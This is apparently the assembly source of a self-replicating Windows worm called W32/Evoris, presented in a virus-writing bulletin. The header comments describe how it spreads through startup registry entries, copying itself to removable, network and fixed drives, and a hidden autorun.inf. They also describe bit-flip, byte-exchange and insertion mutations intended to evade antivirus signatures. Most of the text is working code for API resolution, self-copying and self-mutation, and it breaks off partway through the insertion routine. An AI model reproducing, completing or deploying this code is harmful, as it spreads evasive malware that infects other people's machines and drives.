;)

### Virus-writing Bulletin

##### Presents!

#### W32/Evoris

-
. ● glósóli ● .
See also:

    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
    ;;
    ;; Evoris
    ;; by SPTH
    ;; November 2010
    ;;
    ;;  This worm takes use of an evolvable meta-language concept, which has
    ;;  been presented in an article "Taking the redpill: Artificial Evolution
    ;;  in native x86 systems".
    ;;
    ;;  To achieve evolution it is necessary to have replication, mutation
    ;;  and selection.
    ;;
    ;;
    ;;
    ;;  Replication:
    ;;  It makes a registry-entry to start at every Windows Startup.
    ;;  All ~25sec it searchs for all removeable, network, fixed drives and
    ;;  copies itself to them. For removable and network drives, it creates a
    ;;  hidden autorun.inf:
    ;;  - - -
    ;;  [Autorun]
    ;;  ShellExecute=filename.exe
    ;;  UseAutoplay=1              ; with this additional line, it works
    ;;  - - -
    ;;
    ;;
    ;;
    ;;  Mutation:
    ;;  The program can use three types of mutations:
    ;;  Bitflip (point mutation): it changes a single bit of the code (87.5%)
    ;;  XCHG (translocation): it exchanges the position of 8 bytes (8 commands)
    ;;                        ABCD EFGH -> EFGH ABCD (25.0%)
    ;;  Insertion: it can move some part of the code, and fill the rest with NOPs
    ;;             (20%)
    ;;
    ;;
    ;;
    ;;  Selection:
    ;;  The natural selection for malware will come from antivirus scanners.
    ;;  As soon as the signature of a certain representation of the worm is
    ;;  in the database of AV programs, it can not spread alot anymore. Just those
    ;;  mutations can spread, which are so different to the original in the
    ;;  database, that it is not recognized anymore. This is a very natural
    ;;  selection process.
    ;;  There may be other selective advantages such as new functionalities - for
    ;;  a more detailed see the article mentioned above.
    ;;
    ;;
    ;;
    ;;  Metalanguage:
    ;;  It has been shown in different approaches of artificial simulations,
    ;;  that evolution can be achieved if the artificial chemistry fulfills
    ;;  several conditions: A small instruction set, separation of arguments
    ;;  and operations, and non-direct addressing.
    ;;  In an x86 environment, this can be done by creating a special meta-
    ;;  language. The meta-language in this approach is very near connected
    ;;  to the natural biosynthese:
    ;;
    ;;     Artificial   --   Natural
    ;;     Bit          --   Nucleobase
    ;;     Byte         --   Codon
    ;;     Base command --   Amino acid
    ;;     Function     --   Protein
    ;;     Translator   --   tRNA
    ;;
    ;;  To achieve evolution, it is also required that there are enough
    ;;  neutral mutations. In an short analyse "Mutational Robustness in x86
    ;;  systems", it has been shown that the most robust concept is meta-langauge
    ;;  with a redundant alphabeth".
    ;;
    ;;
    ;;
    ;;
    ;;  Alphabeth:
    ;;  The alphabeth contains the base-commands of the language:
    ;;
    ;;  nopsA, nopsB, nopsD, nopdA, nopdB, nopdD
    ;;  saveWrtOff, saveJmpOff
    ;;  writeByte, writeDWord, save, addsaved, subsaved
    ;;  getDO, getdata, getEIP
    ;;  push, pop, pushall, popall
    ;;  zer0, mul, div, shl, shr, and, xor, add0001, add0004, add0010, add0040,
    ;;  add0100, add0400, add1000, add4000, sub0001, nopREAL
    ;;  JnzUp, JnzDown, JzDown, call
    ;;  CallAPILoadLibrary, CallAPISleep
    ;;
    ;;  These are the 43 commands of the metalanguage. Each command is represented
    ;;  by a 8bit value. As there are 256 (2^8) possibilities to write a 8bit
    ;;  code there is a big source for redundancy - just as in nature, where 20
    ;;  amino acids are coded by 64 (4^3) possibilities to write the nucleobases.
    ;;
    ;;
    ;;
    ;;
    ;;  Evolvable API calls:
    ;;  kernel32.dll and advapi32.dll are loaded thru LoadLibraryA. The export
    ;;  table is parsed, and a 12bit hash of the exported API is created. If that
    ;;  hash is the same as a hardcoded 12bit hash in the file, the API address is
    ;;  saved.
    ;;  The idea is: there are ~1000 exported APIs in kernel32.dll, there are
    ;;  ~4000 possibilities how to write a 12bit code. That means, by a single
    ;;  bit-flip of the API hash, there is a possibility of ~25% that a new
    ;;  valid API will be called.
    ;;
    ;;  CallAPISleep: This API could be found by the algorithm with WinXP,
    ;;  but in WinVista, there are two new APIs (SleepConditionVariableCS,
    ;;  SleepConditionVariableSRW) between Sleep and SleepEx. As the Algorithm
    ;;  uses the first 10bytes of the API name, for short APIs it also uses the
    ;;  first few of the next API-name. This is no problem usually, but due
    ;;  to bad luck, it is for Sleep. I could not use SleepEx eighter, because
    ;;  of the new Function SortCloseHandle, which gives a different hash.
    ;;  The simplest possibility was to use a hardcoded function call.
    ;;
    ;;
    ;;
    ;;  Tested at WinXP SP3, but it should also work with WinVista+.
    ;;
    ;;
    ;;  Thanks to: hh86 && qkumba
    ;;  Greets goes to herm1t, roy g biv, all ex-rRlf members &
    ;;                 & all serious researchers
    ;;
    ;;
    ;;  Evoris comes from a unification of Evolution and Virus.
    ;;
    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

    include 'E:\Programme\FASM\INCLUDE\win32ax.inc'

    .data
    	include 'data_n_equs.inc'

    .code
    start:

    	invoke	VirtualAlloc, \
    		0x0, \
    		0x10000, \		; 64 KB RAM
    		0x1000, \
    		PAGE_EXECUTE_READWRITE
    	mov	[Place4Life], eax

    	mov	edx, 0x0				; EDX will be used as the counter of this loop
    	WriteMoreToMemory:
    		mov	ebx, 0x0			; EBX=0;
    		mov	bl, byte[edx+StAmino]		; BL=NUMBER OF AMINO ACID
    		shl	ebx, 3				; EBX*=8;
    		mov	esi, StartAlphabeth		; ESI ... Alphabeth offset
    		add	esi, ebx			; ESI+=EBX; ESI ...  offset of the current amino acid

    		mov	ebx, edx			; EBX ... current number of amino acid
    		shl	ebx, 3				; EBX ... lenght of amino acids before this one
    		mov	edi, [Place4Life]		; EDI ... Memory address
    		add	edi, ebx			; Offset of current memory for 8 byte code

    		mov	ecx, 8				; ECX ... 8
    		rep	movsb				; Write ECX bytes from ESI to EDI
    							; Write 8 bytes from Alphabeth to Memory
    		inc	edx				; Increase EDX
    	cmp	edx, (EndAmino-StAmino)
    	jne	WriteMoreToMemory

    	call	[Place4Life]				; Lets start!!!

    ; ##################################################################
    ; Alphabeth
    StartAlphabeth:
    include 'alphabeth.inc'
    EndAlphabeth:

    ; ##################################################################

    ; ##################################################################
    ; Macros
    macro addnumber arg
    {
        x=arg
        if x>=0x10000
    	db _zer0
    	db _add0010
    	db _save
    	db _zer0
    	while x>=0x10000
    	    if x>=0x40000000
    		db _add4000
    		x=x-0x40000000
    	    else if x>=0x10000000
    		db _add1000
    		x=x-0x10000000
    	    else if x>=0x04000000
    		db _add0400
    		x=x-0x04000000
    	    else if x>=0x01000000
    		db _add0100
    		x=x-0x01000000
    	    else if x>=0x00400000
    		db _add0040
    		x=x-0x00400000
    	    else if x>=0x00100000
    		db _add0010
    		x=x-0x00100000
    	    else if x>=0x00040000
    		db _add0004
    		x=x-0x00040000
    	    else if x>=0x00010000
    		db _add0001
    		x=x-0x00010000
    	    end if
    	end while
    	db _shl
        end if

        while x<>0
    	if x>=0x4000
    	    db _add4000
    	    x=x-0x4000
    	else if x>=0x1000
    	    db _add1000
    	    x=x-0x1000
    	else if x>=0x0400
    	    db _add0400
    	    x=x-0x0400
    	else if x>=0x0100
    	    db _add0100
    	    x=x-0x0100
    	else if x>=0x0040
    	    db _add0040
    	    x=x-0x0040
    	else if x>=0x0010
    	    db _add0010
    	    x=x-0x0010
    	else if x>=0x0004
    	    db _add0004
    	    x=x-0x0004
    	else if x>=0x0001
    	    db _add0001
    	    x=x-0x0001
    	end if
         end while
    }

    macro GetAddress arg
    {
        db _getDO
        addnumber (arg-DataOffset)
    }

    macro CallAPI arg
    {
        db _getDO
        addnumber (arg-DataOffset)
        db _call
    }

    macro CalcNewRandNumberAndSaveIt
    {
    	GetAddress RandomNumber

    	db _saveWrtOff
    	db _getdata
    	db _nopdA		    ; eax=[RandomNumber]

    	db _zer0
    	addnumber 1103515245

    	db _mul 		    ; eax*=1103515245 % 2^32

    	db _zer0
    	addnumber 12345
    	db _save

    	db _nopsA
    	db _addsaved		    ; eax+=12345 % 2^32

    	db _writeDWord		    ; mov [RandomNumber], ebx
    }
    ; ##################################################################

    ; ##################################################################
    ; Amino Acids
    StAmino:

    ; ############################################################################
    ; ############################################################################
    ; ############################################################################
    ; #####
    ; #####  Here the genom gets the Addresses of the Windows APIs.
    ; #####  It loads via LoadLibrary the kernel32.dll and advapi32.dll,
    ; #####  searchs in the Export Table for the adequade API (creating
    ; #####  an internal 12 bit checksum, and compares it with some hardcoded
    ; #####  12bit values). This procedere should be evolvable.
    ; #####
    ; #####  Optimum would have been to call the Windows APIs by its
    ; #####  Ordinal Numbers, but they change at every release of Windows.
    ; #####
    ; #####  At Linux, evolvable API calls are already presented, as you
    ; #####  call int 0x80 with a specific number in eax which represents
    ; #####  the API number.
    ; #####
    ; #####

    StAminoAcids1:
    	times 1234 db _nopREAL

    	GetAddress stDLLkernel32	    ; write "kernel32.dll" and "advapi32.dll"
    	db _saveWrtOff			    ; to the data-section. This will be used
    	db _nopdA			    ; by LoadLibraryA as argument later
    	addnumber 'kern'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _saveWrtOff
    	db _nopdA
    	addnumber 'el32'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _saveWrtOff
    	db _nopdA
    	addnumber '.dll'
    	db _writeDWord

    	GetAddress stDLLadvapi32
    	db _saveWrtOff
    	db _nopdA
    	addnumber 'adva'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _saveWrtOff
    	db _nopdA
    	addnumber 'pi32'
    	db _writeDWord

    	db _nopsA
    	db _add0004
    	db _saveWrtOff
    	db _nopdA
    	addnumber '.dll'
    	db _writeDWord

    	GetAddress stDLLkernel32
    	db _push
    	db _CallAPILoadLibrary	    ; invoke LoadLibrary, "kernel32.dll"

    	GetAddress hDLLlibrary32
    	db _saveWrtOff

    	db _nopsA
    	db _writeDWord		    ; mov dword[hDLLkernel32], eax

    	db _save		    ; Save kernel32.dll position

    	addnumber 0x3C
    	db _getdata		    ; mov RegB, dword[hDLLkernel32+0x3C]

    				    ; = Pointer to PE Header of kernel32.dll
    	db _addsaved		    ; relative -> absolut

    	addnumber 0x78
    	db _getdata		    ; Export Tables
    	db _addsaved		    ; relative -> absolut
    	addnumber 0x1C		    ; Addresse Table

    	db _nopdA		    ; temporarily save Offset of Addresse Table in RegA

    	GetAddress hAddressTable
    	db _saveWrtOff		    ; WriteOffset=hAddressTable

    	db _nopsA		    ; restore RegA=Addresse Tables
    	db _getdata		    ; Pointer To Addresse Table
    	db _addsaved		    ; relative -> absolut
    	db _writeDWord		    ; mov dword[hAddressTable], (Pointer to Addresse Table)

    	GetAddress hNamePointerTable
    	db _saveWrtOff		    ; WriteOffset=hNamePointerTable

    	db _nopsA		    ; BC1=Addresse Table
    	addnumber 0x4		    ; BC1=Name Pointer Table
    	db _nopdA

    	db _getdata		    ; Pointer To Name Table
    	db _addsaved		    ; relative -> absolut
    	db _writeDWord		    ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table)

    	GetAddress hOrdinalTable
    	db _saveWrtOff		    ; WriteOffset=hOrdinalTable

    	db _nopsA
    	addnumber 4		    ; BC=Pointer to Ordinal Table

    	db _getdata		    ; Ordinal Table
    	db _addsaved		    ; relative -> absolut
    	db _writeDWord		    ; mov dword[hOrdinalTable], (Pointer to Ordinal Table)

    	GetAddress APINumber
    	db _saveWrtOff
    	db _zer0
    	addnumber APINumberKernel
    	db _writeDWord		    ; Save number of kernel32.dll APIs

    	GetAddress hAddressePointer
    	db _saveWrtOff
    	GetAddress APIAddresses
    	db _writeDWord	    ; Saves the AddressePointer

    	GetAddress hMagicNumberPointer
    	db _saveWrtOff
    	GetAddress APIMagicNumbers
    	db _writeDWord	    ; Saves the MagicNumber Pointer

    	db _zer0
    	addnumber 43
    	db _push

    ; FindAllAPIs
    	db _getEIP
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _saveJmpOff	    ; mov BA2, EPI  - for further API searching in different DLLs

    	db _pushall

    		db _zer0
    		db _nopdB	    ; RegB = Counter for first instance loop = 0

    		GetAddress hAddressePointer
    		db _getdata
    		db _nopdA	    ; RegA = Pointer to Buffer for API Addresse

    		GetAddress hMagicNumberPointer
    		db _getdata
    		db _nopdD	    ; RegD = Pointer to Magic Numbers for APIs

    	    ; FindAllAPIsNext
    		db _getEIP
    		db _sub0001
    		db _sub0001
    		db _sub0001
    		db _sub0001
    		db _sub0001
    		db _saveJmpOff	    ; mov BA2, EPI

    		db _pushall
    			; RegA=free  | used for pointer within the Name Pointer Table
    			; RegB=free  | used as temporary buffer
    			; RegD=MagicNumber for API
    			; Stack:  | counter (number of APIs checked in kernel32.dll)

    			GetAddress hNamePointerTable
    			db _getdata
    			db _nopdA		; Pointer to Name Pointer Table (points to first API)

    			db _zer0
    			db _sub0001
    			db _push		; counter

    		   ; SearchNextAPI:
    			db _getEIP
    			db _sub0001
    			db _sub0001
    			db _sub0001
    			db _sub0001
    			db _sub0001
    			db _saveJmpOff		; mov BA2, EPI

    			db _pop
    			addnumber 0x1		; counter++
    			db _push

    			GetAddress hDLLlibrary32
    			db _getdata
    			db _save		; kernel32.dll position

    			db _nopsA		; Pointer to NamePointerTable
    			db _getdata		; Points to API name
    			db _addsaved		; relative -> absolut
    			db _nopdB		; save Pointer to API name

    			; BC1=dword[APINAME]
    			db _getdata		; BC1=dword[APINAME]
    			db _save		; BC2=dword[APINAME]

    			db _nopsA
    			addnumber 4		; Points to next API name
    			db _nopdA		; Has just effects in next loop

    			; BC1=dword[APINAME]+dword[APINAME+1]
    			db _nopsB
    			addnumber 1
    			db _getdata		; BC1=dword[APINAME+1]
    			db _addsaved		; BC1+=dword[APINAME]=dword[APINAME]+dword[APINAME+1]
    			db _save

    			; BC1=(dword[APINAME]+dword[APINAME+1]) XOR dword[APINAME+2]
    			db _nopsB
    			addnumber 2
    			db _getdata		; BC1=dword[APINAME+2]
    			db _xor 		; BC1 XOR (dword[APINAME]+dword[APINAME+1])

    			db _push		; save at Stack, as sub is not invertable
    						; (sub a-b) != (sub b-a)

    			; BC1-=dword[APINAME+3]
    			db _nopsB
    			addnumber 3
    			db _getdata
    			db _save		; BC2=dword[APINAME+3]
    			db _pop 		; restore B1
    			db _subsaved		; B1-=dword[APINAME+3]
    			db _save

    			; BC1=BC1 XOR dword[APINAME+6]
    			db _nopsB
    			addnumber 6
    			db _getdata		; dword[APINAME+6]
    			db _xor 		; B1=dword[APINAME+6] XOR B1

    			db _push		; save at Stack again (position dependent, see above)

    			; BC1-=dword[APINAME+7]
    			db _nopsB
    			addnumber 7
    			db _getdata
    			db _save		; BC2=dword[APINAME+7]
    			db _pop 		; restore B1
    			db _subsaved		; B1-=dword[APINAME+7]
    			db _save

    			; BC1+=dword[APINAME+5]
    			db _nopsB
    			addnumber 5
    			db _getdata		; BC1=dword[APINAME+5]
    			db _addsaved		; BC1+=dword[APINAME+5]
    			db _save

    			; BC1=BC1 XOR dword[APINAME+9]
    			db _nopsB
    			addnumber 9
    			db _getdata		; dword[APINAME+9]
    			db _xor 		; B1=dword[APINAME+9] XOR B1

    			db _push		; save at Stack again (position dependent, see above)

    			; BC1-=dword[APINAME+10]
    			db _nopsB
    			addnumber 10
    			db _getdata
    			db _save		; BC2=dword[APINAME+10]
    			db _pop 		; restore B1
    			db _subsaved		; B1-=dword[APINAME+10]

    			db _nopdB		; save MagicNumber of this API

    			db _zer0
    			addnumber 0x0FFF
    			db _save		; save 0xFFF in BC2

    			db _nopsB
    			db _and 		; BC1=dword[MagicNumberOfThisAPI] && 0x0FFF
    			db _nopdB

    			db _nopsD		; Get Pointer to API MagicWord
    			db _getdata
    			db _and 		; BC1=dword[MagicNumberSearchAPI] && 0x0FFF
    			db _save		; save

    			db _nopsB		; Get MagicNumber of current API again
    			db _xor 		; (dword[MagicNumberSearchAPI] && 0x0FFF) XOR dword[MagicNumberOfThisAPI] && 0x0FFF
    						; If zero, assume that we found API
    		    db _JnzUp

    			db _zer0
    			addnumber 1
    			db _save		; BC2=1

    			db _pop 		; Get Counter from Stack
    			db _shl 		; BC1=counter*2 (because Ordinal Table has just 2byte Entries)
    						; (=no DLLs with more than 65535 functions?!)
    			db _save

    			GetAddress hOrdinalTable
    			db _getdata
    			db _addsaved		; Points to ordinal number of the API

    			db _push
    			db _zer0
    			addnumber 0xFFFF
    			db _save
    			db _pop 		; BC2=0xFFFF

    			db _getdata		; BC1=Ordinal Number of API
    						; Ordinal Number is a word, so we have to set the high word to zero
    			db _and 		; BC1=dword[Ordinal] && 0xFFFF

    			db _push
    			db _zer0
    			addnumber 2
    			db _save
    			db _pop
    			db _shl 		; BC1=Ordinal*4, as Addresse to Function is a dword

    			db _save

    			GetAddress hAddressTable
    			db _getdata

    			db _addsaved		; BC1 points to Addresse of API Function
    			db _getdata		; BC1=Addresse of API Function
    			db _save

    			GetAddress hDLLlibrary32
    			db _getdata
    			db _addsaved		; relative -> absolut
    						; BC1 contains the Addresse of the API in (kernel32) memory

    			db _nopdB		; save the Addresse in RegB
    			GetAddress hAddressePointer
    			db _getdata		; Pointer to the buffer where we save the API addresse
    			db _saveWrtOff		; We will write to this Addresse

    			db _nopsB		; restore API Addresse

    			db _writeDWord		; Save the API Function Addresse in the Function Buffer!!!

    		db _popall

    		GetAddress hAddressePointer
    		db _saveWrtOff	    ; The buffer where we save the pointer

    		db _nopsA
    		addnumber 0x4	    ; Next Buffer for API Adresse

    		db _writeDWord	    ; save pointer
    		db _nopdA	    ; save different (prevents a more messy code)

    		db _nopsD	    ; Next Magic Number for API
    		addnumber 0x4
    		db _nopdD

    		db _nopsB
    		addnumber 0x1	    ; Increase API-Counter
    		db _nopdB
    		db _save

    		GetAddress APINumber
    		db _getdata

    		db _subsaved	    ; cmp Counter, APINumber
    		db _JnzUp	    ; Jnz FindAllAPIsNext

    	    ; end FindAllAPIsNext

    	db _popall
    	; FoundAPI

    ; end FindAllAPIs in kernel32.dll

    	GetAddress stDLLadvapi32
    	db _push
    	db _CallAPILoadLibrary	    ; invoke LoadLibrary, "kernel32.dll"

    	GetAddress hDLLlibrary32
    	db _saveWrtOff

    	db _nopsA
    	db _writeDWord		    ; mov dword[hDLLkernel32], eax

    	db _save		    ; Save kernel32.dll position

    	addnumber 0x3C
    	db _getdata		    ; mov RegB, dword[hDLLkernel32+0x3C]

    				    ; = Pointer to PE Header of kernel32.dll
    	db _addsaved		    ; relative -> absolut

    	addnumber 0x78
    	db _getdata		    ; Export Tables
    	db _addsaved		    ; relative -> absolut
    	addnumber 0x1C		    ; Addresse Table

    	db _nopdA		    ; temporarily save Offset of Addresse Table in RegA

    	GetAddress hAddressTable
    	db _saveWrtOff		    ; WriteOffset=hAddressTable

    	db _nopsA		    ; restore RegA=Addresse Tables
    	db _getdata		    ; Pointer To Addresse Table
    	db _addsaved		    ; relative -> absolut
    	db _writeDWord		    ; mov dword[hAddressTable], (Pointer to Addresse Table)

    	GetAddress hNamePointerTable
    	db _saveWrtOff		    ; WriteOffset=hNamePointerTable

    	db _nopsA		    ; BC1=Addresse Table
    	addnumber 0x4		    ; BC1=Name Pointer Table
    	db _nopdA

    	db _getdata		    ; Pointer To Name Table
    	db _addsaved		    ; relative -> absolut
    	db _writeDWord		    ; mov dword[hNamePointerTable], (Pointer to Name Pointer Table)

    	GetAddress hOrdinalTable
    	db _saveWrtOff		    ; WriteOffset=hOrdinalTable

    	db _nopsA
    	addnumber 4		    ; BC=Pointer to Ordinal Table

    	db _getdata		    ; Ordinal Table
    	db _addsaved		    ; relative -> absolut
    	db _writeDWord		    ; mov dword[hOrdinalTable], (Pointer to Ordinal Table)

    	GetAddress APINumber
    	db _saveWrtOff
    	db _zer0
    	addnumber APINumberAdvapi
    	db _writeDWord		    ; Save number of kernel32.dll APIs

    	GetAddress hAddressePointer
    	db _saveWrtOff
    	GetAddress APIAddressesReg
    	db _writeDWord	    ; Saves the AddressePointer

    	GetAddress hMagicNumberPointer
    	db _saveWrtOff
    	GetAddress APIMagicNumbersReg
    	db _writeDWord	    ; Saves the MagicNumber Pointer

    	db _zer0
    	addnumber 42
    	db _save
    	db _pop
    	db _sub0001
    	db _push
    	db _add0001
    	db _xor
    	db _JnzUp

    	db _pop 		   ; Remove trash from stack

    ; ############################################################################
    ; ############################################################################
    ; ############################################################################
    ; #####
    ; #####   First child will have mutations within the Amino Acids
    ; #####   (no mutations in the alphabeth or the filestructure)
    ; #####

    	db _zer0
    	addnumber 0x8007
    	db _push
    	CallAPI hSetErrorMode

    	CallAPI hGetTickCount

    	GetAddress RandomNumber
    	db _saveWrtOff
    	db _nopsA
    	db _writeDWord		    ; mov dword[RandomNumber], RegA

    	db _zer0
    	db _nopdB		    ; mov RegB, 0

    ;   RndNameLoop:
    	db _getEIP
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _saveJmpOff		    ; mov esi, epi

    	GetAddress RandomNumber

    	db _getdata
    	db _nopdA		    ; mov eax, [RandomNumber]

    	db _zer0
    	db _nopdD		    ; mov edx, 0

    	db _zer0
    	addnumber 26

    	db _div 		    ; div ebx

    	db _nopsD
    	addnumber 97
    	db _nopdD		    ; add edx, 97

    	db _nopsB      ; ebx=ebp=count
    	db _save       ; ebp=ebx=ecx=count

    	GetAddress RandomFileName
    		       ; ebx=rfn, ebp=ecx=count
    	db _addsaved   ; ebx=rfn+count, ebp=ecx=count
    	db _saveWrtOff ; edi=rfn+count, ebx=rfn+count, ebp=ecx=count

    	db _nopsD
    	db _writeByte		    ; mov byte[ecx+RandomFileName], dl

    	CalcNewRandNumberAndSaveIt

    	db _nopsB
    	db _add0001
    	db _nopdB
    	db _save		    ; inc counter

    	db _zer0
    	addnumber 8
    	db _subsaved		    ; cmp counter, 8

    	db _JnzUp		    ; jnz esi
    ; loop RndNameLoop

    	GetAddress rndext
    	db _saveWrtOff
    	db _zer0
    	addnumber ".exe"
    	db _writeDWord		    ; create extention

    	CallAPI hGetCommandLineA
    	db _zer0
    	addnumber 0xFF
    	db _save

    	db _nopsA
    	db _getdata
    	db _and

    	db _nopdB	    ; RegB=1st byte of filename
    	db _zer0
    	addnumber 34	    ; "
    	db _nopdD	    ; RegD=34

    	db _nopsB
    	db _save
    	db _nopsD
    	db _subsaved

    	db _JnzDown

    	db _nopsA
    	db _add0001
    	db _nopdA
    	db _nopREAL

    	db _nopsA
    	db _push	       ; Save RegA at stack

    ; FindEndOfString:
    	db _getEIP
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _saveJmpOff	       ; mov esi, epi

    	db _nopsA
    	db _add0001
    	db _nopdA

    	db _zer0
    	addnumber 0xFF
    	db _save
    	db _nopsA
    	db _getdata
    	db _and
    	db _nopdD		; RegD=(dword[Name+count]&& 0xFF)

    	db _zer0
    	addnumber 34		; "
    	db _save
    	db _nopsB		; 1st Byte of filename
    	db _subsaved
    	db _JnzDown

    	db _nopsD
    	db _xor
    	db _JnzUp
    	db _nopREAL
    ; EndFindEndOfString:

    	db _zer0
    	addnumber 34		; "
    	db _nopsB		; 1st Byte of filename
    	db _subsaved
    	db _JnzDown

    	db _nopsA
    	db _saveWrtOff
    	db _zer0
    	db _writeByte

    	db _pop
    	db _nopdA

    	GetAddress Driveletter3-1
    	db _saveWrtOff
    	db _zer0
    	addnumber 0x5C3A4300		 ; 0x0, "C:\"
    	db _writeDWord

    	GetAddress virusname
    	db _saveWrtOff
    	db _zer0
    	addnumber "evor"
    	db _writeDWord

    	GetAddress virusname+4
    	db _saveWrtOff
    	db _zer0
    	addnumber "isss"
    	db _writeDWord			; Construct virusfilename

    	GetAddress virext
    	db _saveWrtOff
    	db _zer0
    	addnumber ".exe"
    	db _writeDWord			; create extention

    	db _nopsA
    	db _push		       ; Save pointer to filename buffer
    	db _zer0
    	db _push
    	GetAddress Driveletter3
    	db _push
    	db _nopsA
    	db _push
    	CallAPI hCopyFileA	       ; Copy myself to C:\VIRUSNAME!!! (will not be mutated)

    	db _pop
    	db _nopdA
    	db _zer0
    	db _push
    	GetAddress RandomFileName
    	db _push
    	db _nopsA
    	db _push
    	CallAPI hCopyFileA	       ; Make a copy of myself with random name
    				       ; this copy will be mutated and spreaded

    	db _zer0
    	db _push
    	db _push
    	addnumber 3
    	db _push
    	db _zer0
    	db _push
    	db _add0001
    	db _push
    	db _sub0001
    	addnumber 0xC0000000
    	db _push
    	GetAddress RandomFileName
    	db _push
    	CallAPI hCreateFileA

    	GetAddress FileHandle
    	db _saveWrtOff
    	db _nopsA
    	db _writeDWord		    ; mov dword[FileHandle], RegA

    	db _save

    	GetAddress FileSize

    	db _push
    	db _zer0
    	db _addsaved
    	db _push
    	CallAPI hGetFileSize

    	GetAddress FileSize
    	db _saveWrtOff
    	db _nopsA
    	db _writeDWord		    ; mov dword[FileSize], RegA

    	db _zer0
    	db _push
    	db _addsaved
    	db _push
    	db _zer0
    	db _push
    	addnumber 4
    	db _push
    	db _zer0
    	db _push
    	GetAddress FileHandle
    	db _getdata
    	db _push
    	CallAPI hCreateFileMappingA

    	GetAddress MapHandle

    	db _saveWrtOff
    	db _nopsA
    	db _writeDWord		     ; mov dword[MapHandle], RegA

    	db _save
    	GetAddress FileSize

    	db _getdata
    	db _push   ; [FileSize]
    	db _zer0
    	db _push   ; 0
    	db _push   ; 0
    	addnumber 2
    	db _push
    	db _zer0
    	db _addsaved
    	db _push   ; MapHandle

    	CallAPI hMapViewOfFile

    	GetAddress MapPointer

    	db _saveWrtOff
    	db _nopsA
    	db _writeDWord		    ; mov dword[MapPointer], RegA

    	db _nopsA
    	db _nopdB		    ; mov RegB, RegA+AminoStartInMap

    ; ############################################################################
    ; ############################################################################
    ; #####
    ; #####  Here the mutation happens: Bitmutation, exchange of codons, ...
    ; #####

    ;ANextByteInChain:
    	db _getEIP
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _sub0001
    	db _saveJmpOff		    ; mov BA2, EPI

    	db _nopsB
    	db _push		    ; push counter

    ; ############################################################################
    ; ##### Start Bit-Flip Mutation (Point-Mutation)

    	db _zer0
    	addnumber 12
    	db _save

    	GetAddress RandomNumber

    	db _getdata
    	db _shr
    	db _push

    	db _zer0
    	addnumber 7
    	db _save

    	db _pop
    	db _and 		    ; BC1=[RandomNumber shr 12] && 0111b
    	db _save

    	db _zer0
    	addnumber 1
    	db _shl 		    ; shl BC1, BC2
    	db _save

    	db _pop
    	db _push
    	db _saveWrtOff		    ; BA1=[MapPointer]+counter

    	db _getdata		    ; mov BC1, dword[BC1]
    	db _xor 		    ; xor BC1, BC2
    	db _nopdB		    ; save changed byte

    	db _zer0
    	addnumber 7
    	db _save

    	GetAddress RandomNumber

    	db _getdata
    	db _nopdA

    	db _zer0
    	db _nopdD

    	addnumber VarThreshold1

    	db _div
    	db _nopsD
    	db _subsaved
    	db _JnzDown

    	db _nopsB		    ; restore
    	db _writeByte		    ; save mutation!
    	db _nopREAL
    	db _nopREAL

    ; ##### Finished Bit-Flip Mutation (Point-Mutation)
    ; ############################################################################

    	CalcNewRandNumberAndSaveIt

    ; ############################################################################
    ; ##### Start codons exchange

    	GetAddress xchgBuffer
    	db _saveWrtOff

    	db _pop
    	db _push			; get counter

    	db _getdata
    	db _writeDWord			; xchgBuffer=dword[counter]

    	db _pop
    	db _push			; get counter
    	db _saveWrtOff			; save destination for potential writing

    	addnumber 4
    	db _getdata
    	db _nopdB			; RegB=dword[counter+4]

    	db _zer0
    	addnumber 7
    	db _save
    	GetAddress RandomNumber

    	db _getdata
    	db _nopdA

    	db _zer0
    	db _nopdD

    	addnumber xchgThreshold1

    	db _div
    	db _nopsD
    	db _subsaved
    	db _JnzDown		    ; if not zero, dont exchange codons

    	db _nopsB		    ; restore
    	db _writeDWord		    ; save mutation!
    	db _nopREAL
    	db _nopREAL

    	GetAddress xchgBuffer
    	db _getdata

    	db _nopdB

    	db _pop
    	db _push		    ; get counter
    	addnumber 4
    	db _saveWrtOff

    	db _zer0
    	addnumber 7
    	db _save
    	GetAddress RandomNumber

    	db _getdata
    	db _nopdA

    	db _zer0
    	db _nopdD

    	addnumber xchgThreshold1

    	db _div
    	db _nopsD
    	db _subsaved

    	db _JnzDown		    ; if not zero, dont exchange codons

    	db _nopsB		    ; restore
    	db _writeDWord		    ; save mutation!
    	db _nopREAL
    	db _nopREAL

    ; ##### Finished codons exchange
    ; ############################################################################

    	CalcNewRandNumberAndSaveIt

    	db _pop
    	db _add0001
    	db _nopdB		    ; inc counter

    	GetAddress MapPointer

    	db _getdata
    	db _save
    	db _zer0

    	GetAddress FileSize
    	db _getdata

    	db _addsaved
    	db _save		    ; mov save, [MapPointer]+GenomEndInMap

    	db _nopsB
    	db _subsaved		    ; cmp counter, [MapPointer]+GenomEndInMap
    	db _JnzUp		    ; jnz esi
    ; loop ANextByteInChain

    ; ############################################################################
    ; ##### Start of Insertion

    ; InsertA ... End Position of moving Block
    ;         A = rand() % Filesize

    ; Insertx ... Size of moving Block (A-x=Start of moving Block)
    ;         x = A + ( rand() % (Filesize-A) )

    ; y       ... Bytes to be inserted (A-x+y=New start of moved Block)
    ;         y = rand() mod 32

    	GetAddress RandomNumber

    	db _getdata
    	db _nopdA		    ; mov RegA, [RandomNumber]

    	db _zer0
    	db _nopdD		    ; mov RegD, 0

    	GetAddress FileSize
    	db _getdata

    	db _div 		    ; div BC1

    	GetAddress InsertA
    	db _saveWrtOff

    	db _nopsD
    	db _push		    ; Save relative InsertA at Stack

    	db _save

    	GetAddress MapPointer
    	db _getdata
    	db _addsaved		    ; relative -> absolut

    	db _writeDWord		    ; Save Position

    	CalcNewRandNumberAndSaveIt  ; New random number for getting Insertx

